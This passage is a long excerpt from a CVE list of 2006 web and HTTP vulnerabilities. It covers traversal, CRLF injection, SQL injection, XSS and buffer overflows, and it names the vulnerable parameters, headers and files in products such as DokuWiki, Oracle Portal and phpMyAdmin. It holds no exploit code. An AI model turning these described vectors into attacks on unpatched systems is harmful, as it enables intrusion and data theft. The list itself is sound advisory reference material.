20107| [CVE-2006-6988] Cross-domain vulnerability in Slim Browser 4.07 build 100 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
20108| [CVE-2006-6987] Cross-domain vulnerability in FineBrowser Freeware 3.2.2 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
20109| [CVE-2006-6986] Cross-domain vulnerability in PhaseOut 5.4.4 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
20110| [CVE-2006-6985] Cross-domain vulnerability in Maxthon 1.5.6 build 42 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
20111| [CVE-2006-6984] Cross-domain vulnerability in GreenBrowser 3.4.0622 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
20112| [CVE-2006-6983] Cross-domain vulnerability in MYweb4net Browser 3.8.8.0 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
20113| [CVE-2006-6965] CRLF injection vulnerability in lib/exe/fetch.php in DokuWiki 2006-03-09e, and possibly earlier, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the media parameter. NOTE: this issue can be leveraged for XSS attacks.
20114| [CVE-2006-6909] Stack-based buffer overflow in http.c in Karl Dahlke Edbrowse (aka Command line editor browser) 3.1.3 allows remote attackers to execute arbitrary code by operating an FTP server that sends directory listings with (1) long user names or (2) long group names.
20115| [CVE-2006-6869] Directory traversal vulnerability in includes/search/search_mdforum.php in MAXdev MDForum 2.0.1 and earlier, when magic_quotes_gpc is disabled and register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the PNSVlang cookie to error.php, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by error.php.
20116| [CVE-2006-6855] AIDeX Mini-WebServer 1.1 early release 3 allows remote attackers to cause a denial of service (daemon crash) via a flood of HTTP GET requests, possibly related to display of HTTP log data by the GUI. NOTE: some of these details are obtained from third party information.
20117| [CVE-2006-6773] pages/register/register.php in Fishyshoop 0.930 beta allows remote attackers to create arbitrary administrative users by setting the is_admin HTTP POST parameter to 1.
20118| [CVE-2006-6772] Format string vulnerability in the inputAnswer function in file.c in w3m before 0.5.2, when run with the dump or backend option, allows remote attackers to execute arbitrary code via format string specifiers in the Common Name (CN) field of an SSL certificate associated with an https URL.
20119| [CVE-2006-6758] Directory traversal vulnerability in Http explorer 1.02 allows remote attackers to read arbitrary files via a .. (dot dot) sequence in the URI.
20120| [CVE-2006-6739] PHP remote file inclusion vulnerability in buycd.php in Paristemi 0.8.3 allows remote attackers to execute arbitrary PHP code via a URL in the HTTP_DOCUMENT_ROOT parameter, a different vector than CVE-2006-6689.
20121| [CVE-2006-6699] Multiple CRLF injection vulnerabilities in Oracle Portal 9.0.2 and possibly other versions allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the enc parameter to (1) calendarDialog.jsp or (2) fred.jsp. NOTE: the calendar.jsp vector is covered by CVE-2006-6697.
20122| [CVE-2006-6697] CRLF injection vulnerability in webapp/jsp/calendar.jsp in Oracle Portal 10g and earlier, including 9.0.2, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the enc parameter.
20123| [CVE-2006-6684] Heap-based buffer overflow in Pedro Lineu Orso chetcpasswd before 2.4 allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a long X-Forwarded-For HTTP header. NOTE: The provenance of this information is unknown
20124| [CVE-2006-6679] Pedro Lineu Orso chetcpasswd before 2.4 relies on the X-Forwarded-For HTTP header when verifying a client's status on an IP address ACL, which allows remote attackers to gain unauthorized access by spoofing this header.
20125| [CVE-2006-6674] Ozeki HTTP-SMS Gateway 1.0, and possibly earlier, stores usernames and passwords in plaintext in the HKLM\Software\Ozeki\SMSServer\CurrentVersion\Plugins\httpsmsgate registry key, which allows local users to obtain sensitive information.
20126| [CVE-2006-6613] Directory traversal vulnerability in language.php in phpAlbum 0.4.1 Beta 6 and earlier, when magic_quotes_gpc is disabled and register_globals is enabled, allows remote attackers to include and execute arbitrary local files or obtain sensitive information via a .. (dot dot) in the pa_lang[include_file] parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by language.php.
20127| [CVE-2006-6511] dadaIMC .99.3 uses an insufficiently restrictive FilesMatch directive in the installed .htaccess file, which allows remote attackers to execute arbitrary PHP code by uploading files whose names contain (1) feature, (2) editor, (3) newswire, (4) otherpress, (5) admin, (6) pbook, (7) media, or (8) mod, which are processed as PHP file types (application/x-httpd-php).
20128| [CVE-2006-6477] FRAgent.exe in Mandiant First Response (MFR) before 1.1.1, when run in daemon mode and configured to use only HTTP, allows local users to modify requests and responses between a client and an agent by hijacking an HTTP FRAgent daemon and conducting a man-in-the-middle (MITM) attack.
20129| [CVE-2006-6472] The httpd.conf file in Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 configures port 443 to be always active, which has unknown impact and remote attack vectors.
20130| [CVE-2006-6445] Directory traversal vulnerability in error.php in Envolution 1.1.0 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the PNSVlang (PNSV lang) parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by error.php.
20131| [CVE-2006-6440] Multple unspecified vulnerabilities in Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 allow remote attackers to have an unspecified impact via unspecified vectors relating to "HTTP Security issues."
20132| [CVE-2006-6438] Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 leaves sensitive user data in http.log after an Immediate Image Overwrite (IIO), which allows local users to obtain the data by reading the http.log file.
20133| [CVE-2006-6436] Cross-site scripting (XSS) vulnerability in the Network controller in Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 allows remote attackers to inject arbitrary web script or HTML via HTTP TRACE messages.
20134| [CVE-2006-6430] Web services in Xerox WorkCentre and WorkCentre Pro before 12.060.17.000, 13.x before 13.060.17.000, and 14.x before 14.060.17.000 do not require HTTPS, which allows remote attackers to obtain sensitive information by sniffing the unencrypted HTTP traffic.
20135| [CVE-2006-6374] Multiple CRLF injection vulnerabilities in PhpMyAdmin 2.7.0-pl2 allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in a phpMyAdmin cookie in (1) css/phpmyadmin.css.php, (2) db_create.php, (3) index.php, (4) left.php, (5) libraries/session.inc.php, (6) libraries/transformations/overview.php, (7) querywindow.php, (8) server_engines.php, and possibly other files.
20136| [CVE-2006-6361] Heap-based buffer overflow in the uploadprogress_php_rfc1867_file function in uploadprogress.c in Bitflux Upload Progress Meter before 8276 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via crafted HTTP POST fileupload requests.
20137| [CVE-2006-6345] Directory traversal vulnerability in SAP Internet Graphics Service (IGS) 6.40 Patchlevel 16 and earlier, and 7.00 Patchlevel 6 and earlier, allows remote attackers to delete arbitrary files via directory traversal sequences in an HTTP request. NOTE: This information is based upon an initial disclosure. Details will be updated after the grace period has ended. This issue is different from CVE-2006-4133 and CVE-2006-4134.
20138| [CVE-2006-6303] The read_multipart function in cgi.rb in Ruby before 1.8.5-p2 does not properly detect boundaries in MIME multipart content, which allows remote attackers to cause a denial of service (infinite loop) via crafted HTTP requests, a different issue than CVE-2006-5467.
20139| [CVE-2006-6276] HTTP request smuggling vulnerability in Sun Java System Proxy Server before 20061130, when used with Sun Java System Application Server or Sun Java System Web Server, allows remote attackers to bypass HTTP request filtering, hijack web sessions, perform cross-site scripting (XSS), and poison web caches via unspecified attack vectors.
20140| [CVE-2006-6047] Directory traversal vulnerability in manager/index.php in Etomite 0.6.1.2 allows remote authenticated administrators to include and execute arbitrary local files via a .. (dot dot) in the f parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by index.php.
20141| [CVE-2006-5913] Microsoft Internet Explorer 7 allows remote attackers to (1) cause a security certificate from a secure web site to appear invalid via a link to res://ieframe.dll/sslnavcancel.htm with the target site in the anchor identifier, which displays the site's URL in the address bar but causes Internet Explorer to report that the certificate is invalid, or (2) trigger a "The webpage no longer exists" report via a link to res://ieframe.dll/http_410.htm, a variant of CVE-2006-5805.
20142| [CVE-2006-5900] Cross-site scripting (XSS) vulnerability in the incubator/tests/Zend/Http/_files/testRedirections.php sample code in Zend Framework Preview 0.2.0 allows remote attackers to inject arbitrary web script or HTML via arbitrary parameters.
20143| [CVE-2006-5894] Directory traversal vulnerability in lang.php in Rama CMS 0.68 and earlier, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang cookie, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by lang.php.
20144| [CVE-2006-5876] The soup_headers_parse function in soup-headers.c for libsoup HTTP library before 2.2.99 allows remote attackers to cause a denial of service (crash) via malformed HTTP headers, probably involving missing fields or values.
20145| [CVE-2006-5801] The owserver module in owfs and owhttpd 2.5p5 and earlier does not properly check the path type, which allows attackers to cause a denial of service (application crash) related to use of the path in owshell.
20146| [CVE-2006-5752] Cross-site scripting (XSS) vulnerability in mod_status.c in the mod_status module in Apache HTTP Server (httpd), when ExtendedStatus is enabled and a public server-status page is used, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors involving charsets with browsers that perform "charset detection" when the content-type is not specified.
20147| [CVE-2006-5745] Unspecified vulnerability in the setRequestHeader method in the XMLHTTP (XML HTTP) ActiveX Control 4.0 in Microsoft XML Core Services 4.0 on Windows, when accessed by Internet Explorer, allows remote attackers to execute arbitrary code via crafted arguments that lead to memory corruption, a different vulnerability than CVE-2006-4685. NOTE: some of these details are obtained from third party information.
20148| [CVE-2006-5733] Directory traversal vulnerability in error.php in PostNuke 0.763 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the PNSVlang (PNSV lang) cookie, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by error.php.
20149| [CVE-2006-5725] The SSL server in AEP Smartgate 4.3b allows remote attackers to determine existence of directories via a direct request for a directory URI, which returns different HTTP status codes for existing and non-existing directories.
20150| [CVE-2006-5715] Easy File Sharing (EFS) Easy Address Book 1.2, when run on an NTFS file system, allows remote attackers to read arbitrary files under the web root by appending "::$DATA" to the end of an HTTP GET request, which accesses the alternate data stream.
20151| [CVE-2006-5714] Easy File Sharing (EFS) Web Server 4.0, when running on an NTFS file system, allows remote attackers to read arbitrary files under the web root by appending "::$DATA" to the end of a HTTP GET request, which accesses the alternate data stream.
20152| [CVE-2006-5711] ECI Telecom B-FOCuS Wireless 802.11b/g ADSL2+ Router allows remote attackers to read arbitrary files via a certain HTTP request, as demonstrated by a request for a router configuration file, related to the /html/defs/ URI.
20153| [CVE-2006-5661] Cross-site scripting (XSS) vulnerability in nquser.php in VIRtech Netquery allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
20154| [CVE-2006-5639] Unspecified vulnerability in the random number generator in OpenWBEM (Web Based Enterprise Management) 3.2.0 allows attackers to gain privileges via vectors related to "local or HTTP Digest authentication."
20155| [CVE-2006-5597] join.asp in MiniHTTP Web Forum & File Server PowerPack 4.0 allows remote attackers to add or modify arbitrary user accounts via modified (1) frmMailBox and (2) frmUserPass parameters.
20156| [CVE-2006-5596] Directory traversal vulnerability in the SSL server in AEP Smartgate 4.3b allows remote attackers to download arbitrary files via ..\ (dot dot backslash) sequences in an HTTP GET request.
20157| [CVE-2006-5566] CRLF injection vulnerability in premium/index.php in Shop-Script allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the (1) links_exchange, (2) news, (3) search_with_change_category_ability, (4) logging, (5) feedback, (6) show_price, (7) register, (8) answer, (9) productID, and (10) inside parameters.
20158| [CVE-2006-5565] CRLF injection vulnerability in MAXdev MD-Pro 1.0.76 allows remote attackers to inject arbitrary HTTP headers via a CRLF sequence in the (1) name, (2) file, (3) module, and (4) func parameters in (a) index.php
20159| [CVE-2006-5508] Multiple SQL injection vulnerabilities in addentry.php in WoltLab Burning Book 1.1.2 allow remote attackers to execute arbitrary SQL commands via (1) the n parameter and (2) the User-Agent HTTP header.
20160| [CVE-2006-5478] Multiple stack-based buffer overflows in Novell eDirectory 8.8.x before 8.8.1 FTF1, and 8.x up to 8.7.3.8, and Novell NetMail before 3.52e FTF2, allow remote attackers to execute arbitrary code via (1) a long HTTP Host header, which triggers an overflow in the BuildRedirectURL function
20161| [CVE-2006-5468] Unspecified vulnerability in the HTTP dissector in Wireshark (formerly Ethereal) 0.99.3 allows remote attackers to cause a denial of service (crash) via unspecified vectors.
20162| [CVE-2006-5467] The cgi.rb CGI library for Ruby 1.8 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via an HTTP request with a multipart MIME body that contains an invalid boundary specifier, as demonstrated using a specifier that begins with a "-" instead of "--" and contains an inconsistent ID.
20163| [CVE-2006-5442] ViewVC 1.0.2 and earlier does not specify a charset in its HTTP headers or HTML documents, which allows remote attackers to conduct cross-site scripting (XSS) attacks that inject arbitrary UTF-7 encoded JavaScript code via a view.
20164| [CVE-2006-5357] Unspecified vulnerability in Oracle HTTP Server component in Oracle Application Server 10.1.2.0.1, 10.1.2.0.2, and 10.1.2.1.0 has unknown impact and remote attack vectors related to the PHP Module, aka Vuln# OHS03.
20165| [CVE-2006-5354] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7 and 10.1.0.5, Application Server 9.0.4.3, 10.1.2.0.2, 10.1.2.1.0, and 10.1.3.0, racle Collaboration Suite 9.0.4.2 and 10.1.2, and Oracle E-Business Suite and Applications 11.5.10CU2 has unknown impact and remote attack vectors, aka Vuln# OHS06.
20166| [CVE-2006-5353] Unspecified vulnerability in Oracle HTTP Server component in Oracle Application Server 9.0.4.3, 10.1.2.0.2, 10.1.2.1.0, and 10.1.3.0.0, and Oracle Collaboration Suite 9.0.4.2 and 10.1.2, has unknown impact and remote attack vectors related to the Mod_rewrite Module, aka Vuln# OHS01.
20167| [CVE-2006-5350] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7 and Oracle E-Business Suite and Applications 11.5.10CU2 has unknown impact and local attack vectors, aka Vuln# OHS08.
20168| [CVE-2006-5349] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7, when running on HP Tru64 UNIX, has unknown impact and remote attack vectors related to HTTPS and SSL, aka Vuln# OHS07.
20169| [CVE-2006-5348] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7, Oracle Collaboration Suite 9.0.4.2, and Oracle E-Business Suite and Applications 11.5.10CU2 has unknown impact and remote attack vectors related to HTTPS and SSL, aka Vuln# OHS05.
20170| [CVE-2006-5347] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7 and Oracle Collaboration Suite 9.0.4.2 has unknown impact and remote attack vectors related to HTTPS and SSL, aka Vuln# OHS04.
20171| [CVE-2006-5346] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7, as used in Oracle Collaboration Suite 9.0.4.2 and Oracle E-Business Suite and Applications 11.5.10CU2, has unknown impact and remote attack vectors related to htdigest, aka Vuln# OHS02.
20172| [CVE-2006-5330] CRLF injection vulnerability in Adobe Flash Player plugin 9.0.16 and earlier for Windows, 7.0.63 and earlier for Linux, 7.x before 7.0 r67 for Solaris, and before 9.0.28.0 for Mac OS X, allows remote attackers to modify HTTP headers of client requests and conduct HTTP Request Splitting attacks via CRLF sequences in arguments to the ActionScript functions (1) XML.addRequestHeader and (2) XML.contentType. NOTE: the flexibility of the attack varies depending on the type of web browser being used.
20173| [CVE-2006-5287] Multiple SQL injection vulnerabilities in sign.php in Xeobook 0.93 allow remote attackers to execute arbitrary SQL commands via (1) the User-Agent HTTP header, or the (2) gb_entry_text, (3) gb_location, (4) gb_fullname, or (5) gb_sex parameters.
20174| [CVE-2006-5263] Directory traversal vulnerability in templates/header.php3 in phpMyAgenda 3.1 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the language parameter, as demonstrated by a parameter value naming an Apache HTTP Server log file that apparently contains PHP code.
20175| [CVE-2006-5233] Polycom SoundPoint IP 301 VoIP Desktop Phone, firmware version 1.4.1.0040, allows remote attackers to cause a denial of service (reboot) via (1) a long URL sent to the HTTP daemon and (2) unspecified manipulations as demonstrated by the Nessus http_fingerprinting_hmap.nasl script.
20176| [CVE-2006-5227] Cross-site scripting (XSS) vulnerability in admin.php in TorrentFlux 2.1 allows remote attackers to inject arbitrary web script or HTML via (1) the $user_agent variable, probably obtained from the User-Agent HTTP header, and possibly (2) the $ip_resolved variable.
20177| [CVE-2006-5216] Stack-based buffer overflow in Sergey Lyubka Simple HTTPD (shttpd) 1.34 allows remote attackers to execute arbitrary code via a long URI.
20178| [CVE-2006-5212] Trend Micro OfficeScan 6.0 in Client/Server/Messaging (CSM) Suite for SMB 2.0 before 6.0.0.1385, and OfficeScan Corporate Edition (OSCE) 6.5 before 6.5.0.1418, 7.0 before 7.0.0.1257, and 7.3 before 7.3.0.1053 allow remote attackers to delete files via a modified filename parameter in a certain HTTP request that invokes the OfficeScan CGI program.
20179| [CVE-2006-5211] Trend Micro OfficeScan 6.0 in Client/Server/Messaging (CSM) Suite for SMB 2.0 before 6.0.0.1385, and OfficeScan Corporate Edition (OSCE) 6.5 before 6.5.0.1418, 7.0 before 7.0.0.1257, and 7.3 before 7.3.0.1053 allow remote attackers to remove OfficeScan clients via a certain HTTP request that invokes the OfficeScan CGI program.
20180| [CVE-2006-5196] The HTTP interface in the Motorola SURFboard SB4200 Cable Modem allows remote attackers to cause a denial of service (device crash) via a request with MfcISAPICommand set to SecretProc and a long string in the Secret parameter.
20181| [CVE-2006-5152] Cross-site scripting (XSS) vulnerability in Microsoft Internet Explorer allows remote attackers to inject arbitrary web script or HTML via a UTF-7 encoded URL that is returned in a large HTTP 404 error message without an explicit charset, a related issue to CVE-2006-0032.
20182| [CVE-2006-5112] Buffer overflow in InterVations NaviCOPA Web Server 2.01 allows remote attackers to execute arbitrary code via a long HTTP GET request.
20183| [CVE-2006-5050] Directory traversal vulnerability in httpd in Rob Landley BusyBox allows remote attackers to read arbitrary files via URL-encoded "%2e%2e/" sequences in the URI.
20184| [CVE-2006-5037] ** DISPUTED ** MySource Matrix after 3.8 allows remote attackers to use the application as an HTTP proxy server via a MIME encoded URL in the sq_content_src parameter to access arbitrary sites with the server's IP address and conduct cross-site scripting (XSS) attacks. NOTE: the researcher reports that "The vendor does not consider this a vulnerability."
20185| [CVE-2006-5036] ** DISPUTED ** MySource Matrix 3.8 and earlier, and MySource 2.x, allow remote attackers to use the application as an HTTP proxy server via the sq_remote_page_url parameter to access arbitrary sites with the server's IP address and conduct cross-site scripting (XSS) attacks. NOTE: the researcher reports that "The vendor does not consider this a vulnerability."
20186| [CVE-2006-5026] Multiple unspecified vulnerabilities in Paisterist Simple HTTP Scanner (sHTTPScanner) before 0.3 have unknown impact and attack vectors.
20187| [CVE-2006-5025] Multiple unspecified vulnerabilities in Paisterist Simple HTTP Scanner (sHTTPScanner) before 0.2 have unknown impact and attack vectors.
20188| [CVE-2006-5024] Multiple unspecified vulnerabilities in Paisterist Simple HTTP Scanner (sHTTPScanner) before 0.4 have unknown impact and attack vectors.
20189| [CVE-2006-4830] Directory traversal vulnerability in EditBlogTemplatesPlugin.java in David Czarnecki Blojsom 2.30 allows remote attackers to have an unknown impact by sending an HTTP request with a certain value of blogTemplate.
20190| [CVE-2006-4723] PHP remote file inclusion vulnerability in raidenhttpd-admin/slice/check.php in RaidenHTTPD 1.1.49, when register_globals and WebAdmin is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the SoftParserFileXml parameter.
20191| [CVE-2006-4712] Multiple cross-site scripting (XSS) vulnerabilities in Sage 1.3.6 allow remote attackers to inject arbitrary web script or HTML via JavaScript in a content:encoded element within an item element in an RSS feed, as demonstrated by four example content:encoded elements that use XMLHttpRequest to read arbitrary local files, aka "Cross Context Scripting."
20192| [CVE-2006-4685] The XMLHTTP ActiveX control in Microsoft XML Parser 2.6 and XML Core Services 3.0 through 6.0 does not properly handle HTTP server-side redirects, which allows remote user-assisted attackers to access content from other domains.
20193| [CVE-2006-4683] IBM Director before 5.10 allows remote attackers to obtain sensitive information from HTTP headers via HTTP TRACE.
20194| [CVE-2006-4679] DokuWiki before 2006-03-09c enables the debug feature by default, which allows remote attackers to obtain sensitive information by calling doku.php with the X-DOKUWIKI-DO HTTP header set to "debug".
20195| [CVE-2006-4674] Direct static code injection vulnerability in doku.php in DokuWiki before 2006-030-09c allows remote attackers to execute arbitrary PHP code via the X-FORWARDED-FOR HTTP header, which is stored in config.php.
20196| [CVE-2006-4636] Directory traversal vulnerability in SZEWO PhpCommander 3.0 and earlier allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the Directory parameter, as demonstrated by parameter values naming Apache HTTP Server log files that apparently contain PHP code.
20197| [CVE-2006-4625] PHP 4.x up to 4.4.4 and PHP 5 up to 5.1.6 allows local users to bypass certain Apache HTTP Server httpd.conf options, such as safe_mode and open_basedir, via the ini_restore function, which resets the values to their php.ini (Master Value) defaults.
20198| [CVE-2006-4558] DeluxeBB 1.06 and earlier, when run on the Apache HTTP Server with the mod_mime module, allows remote attackers to execute arbitrary PHP code by uploading files with double extensions via the fileupload parameter in a newthread action in newpost.php.
20199| [CVE-2006-4517] Novell iManager 2.5 and 2.0.2 allows remote attackers to cause a denial of service (crash) in the Tomcat server via a long TREE parameter in an HTTP POST, which triggers a NULL pointer dereference.
20200| [CVE-2006-4511] Messenger Agents (nmma.exe) in Novell GroupWise 2.0.2 and 1.0.6 allows remote attackers to cause a denial of service (crash) via a crafted HTTP POST request to TCP port 8300 with a modified val parameter, which triggers a null dereference related to "zero-size strings in blowfish routines."
20201| [CVE-2006-4505] CRLF injection vulnerability in links.php in NX5Linx 1.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a CRLF sequence in the url parameter.
20202| [CVE-2006-4451] Direct static code injection vulnerability in CJ Tag Board 3.0 allows remote attackers to execute arbitrary PHP code via the (1) User-Agent HTTP header in tag.php, which is executed by all.php, and (2) the banned parameter in admin_index.php.
20203| [CVE-2006-4450] usercp_avatar.php in PHPBB 2.0.20, when avatar uploading is enabled, allows remote attackers to use the server as a web proxy by submitting a URL to the avatarurl parameter, which is then used in an HTTP GET request.
20204| [CVE-2006-4430] The Cisco Network Admission Control (NAC) 3.6.4.1 and earlier allows remote attackers to prevent installation of the Cisco Clean Access (CCA) Agent and bypass local and remote protection mechanisms by modifying (1) the HTTP User-Agent header or (2) the behavior of the TCP/IP stack. NOTE: the vendor has disputed the severity of this issue, stating that users cannot bypass authentication mechanisms.
20205| [CVE-2006-4409] The Online Certificate Status Protocol (OCSP) service in the Security Framework in Apple Mac OS X 10.4 through 10.4.8 retrieve certificate revocation lists (CRL) when an HTTP proxy is in use, which could cause the system to accept certificates that have been revoked.
20206| [CVE-2006-4248] thttpd on Debian GNU/Linux, and possibly other distributions, allows local users to create or touch arbitrary files via a symlink attack on the start_thttpd temporary file.
20207| [CVE-2006-4197] Multiple buffer overflows in libmusicbrainz (aka mb_client or MusicBrainz Client Library) 2.1.2 and earlier, and SVN 8406 and earlier, allow remote attackers to cause a denial of service (crash) or execute arbitrary code via (1) a long Location header by the HTTP server, which triggers an overflow in the MBHttp::Download function in lib/http.cpp
20208| [CVE-2006-4191] Directory traversal vulnerability in memcp.php in XMB (Extreme Message Board) 1.9.6 and earlier allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the langfilenew parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by header.php.
20209| [CVE-2006-4134] Unspecified vulnerability related to a "design flaw" in SAP Internet Graphics Service (IGS) 6.40 and earlier and 7.00 and earlier allows remote attackers to cause a denial of service (service shutdown) via certain HTTP requests. NOTE: This information is based upon a vague initial disclosure. Details will be updated after the grace period has ended.
20210| [CVE-2006-4133] Heap-based buffer overflow in SAP Internet Graphics Service (IGS) 6.40 and earlier, and 7.00 and earlier, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via an HTTP request with an ADM:GETLOGFILE command and a long portwatcher argument, which triggers the overflow during error message construction when the _snprintf function returns a negative value that is used in a memcpy operation.
20211| [CVE-2006-4111] Ruby on Rails before 1.1.5 allows remote attackers to execute Ruby code with "severe" or "serious" impact via a File Upload request with an HTTP header that modifies the LOAD_PATH variable, a different vulnerability than CVE-2006-4112.
20212| [CVE-2006-4089] Multiple buffer overflows in Andy Lo-A-Foe AlsaPlayer 0.99.76 and earlier allow remote attackers to cause a denial of service (application crash), or have other unknown impact, via (1) a long Location field sent by a web server, which triggers an overflow in the reconnect function in reader/http/http.c
20213| [CVE-2006-4035] SQL injection vulnerability in counterchaos.php in CounterChaos 0.48c and earlier allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header.
20214| [CVE-2006-4004] Directory traversal vulnerability in index.php in vbPortal 3.0.2 through 3.6.0 Beta 1, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the bbvbplang cookie, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by index.php.
20215| [CVE-2006-3950] SQL injection vulnerability in x-statistics.php in X-Scripts X-Statistics 1.20 allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
20216| [CVE-2006-3945] The CSS functionality in Opera 9 on Windows XP SP2 allows remote attackers to cause a denial of service (crash) by setting the background property of a DHTML element to a long http or https URL, which triggers memory corruption.
20217| [CVE-2006-3935] system/workplace/views/admin/admin-main.jsp in Alkacon OpenCms before 6.2.2 does not restrict access to administrator functions, which allows remote authenticated users to (1) send broadcast messages to all users (/workplace/broadcast), (2) list all users (/accounts/users), (3) add webusers (/accounts/webusers/new), (4) upload database import and export files (/database/importhttp), (5) upload arbitrary program modules (/modules/modules_import), and (6) read the log file (/workplace/logfileview) by setting the appropriate value for the path parameter in a direct request to admin-main.jsp.
20218| [CVE-2006-3918] http_protocol.c in (1) IBM HTTP Server 6.0 before 6.0.2.13 and 6.1 before 6.1.0.1, and (2) Apache HTTP Server 1.3 before 1.3.35, 2.0 before 2.0.58, and 2.2 before 2.2.2, does not sanitize the Expect header from an HTTP request when it is reflected back in an error message, which might allow cross-site scripting (XSS) style attacks using web client components that can send arbitrary headers in requests, as demonstrated using a Flash SWF file.
20219| [CVE-2006-3873] Heap-based buffer overflow in URLMON.DLL in Microsoft Internet Explorer 6 SP1 on Windows 2000 and XP SP1, with versions the MS06-042 patch before 20060912, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a long URL in a GZIP-encoded website that was the target of an HTTP redirect, due to an incomplete fix for CVE-2006-3869.
20220| [CVE-2006-3869] Heap-based buffer overflow in URLMON.DLL in Microsoft Internet Explorer 6 SP1 on Windows 2000 and XP SP1, with versions the MS06-042 patch before 20060824, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a long URL on a website that uses HTTP 1.1 compression.
20221| [CVE-2006-3830] The Languages selection in the admin interface in Kailash Nadh boastMachine (formerly bMachine) 3.1 and earlier allows remote authenticated administrators to upload files with arbitrary extensions to the bmc/Inc/Lang directory. NOTE: because the uploaded files cannot be accessed through HTTP, this issue is a vulnerability only if there is a likely usage pattern in which the files would be opened or executed by local users, e.g., malware files with names that entice local users to open the files.
20222| [CVE-2006-3819] Eval injection vulnerability in the configure script in TWiki 4.0.0 through 4.0.4 allows remote attackers to execute arbitrary Perl code via an HTTP POST request containing a parameter name starting with "TYPEOF".
20223| [CVE-2006-3775] SQL injection vulnerability in the init function in class_session.php in MyBB (aka MyBulletinBoard) 1.1.5 allows remote attackers to execute arbitrary SQL commands via the CLIENT-IP HTTP header ($_SERVER['HTTP_CLIENT_IP'] variable), as utilized by index.php.
20224| [CVE-2006-3758] inc/init.php in Archive Mode (Light) in MyBB (aka MyBulletinBoard) 1.1.4 calls the extract function with EXTR_OVERWRITE on HTTP POST and GET variables, which allows remote attackers to overwrite arbitrary variables, as demonstrated via an SQL injection using the _SERVER[HTTP_CLIENT_IP] parameter in archive/index.php.
20225| [CVE-2006-3731] Mozilla Firefox 1.5.0.4 and earlier allows remote user-assisted attackers to cause a denial of service (crash) via a form with a multipart/form-data encoding and a user-uploaded file. NOTE: a third party has claimed that this issue might be related to the LiveHTTPHeaders extension.
20226| [CVE-2006-3595] The default configuration of IOS HTTP server in Cisco Router Web Setup (CRWS) before 3.3.0 build 31 does not require credentials, which allows remote attackers to access the server with arbitrary privilege levels, aka bug CSCsa78190.
20227| [CVE-2006-3549] services/go.php in Horde Application Framework 3.0.0 through 3.0.10 and 3.1.0 through 3.1.1 does not properly restrict its image proxy capability, which allows remote attackers to perform "Web tunneling" attacks and use the server as a proxy via (1) http, (2) https, and (3) ftp URL in the url parameter, which is requested from the server.
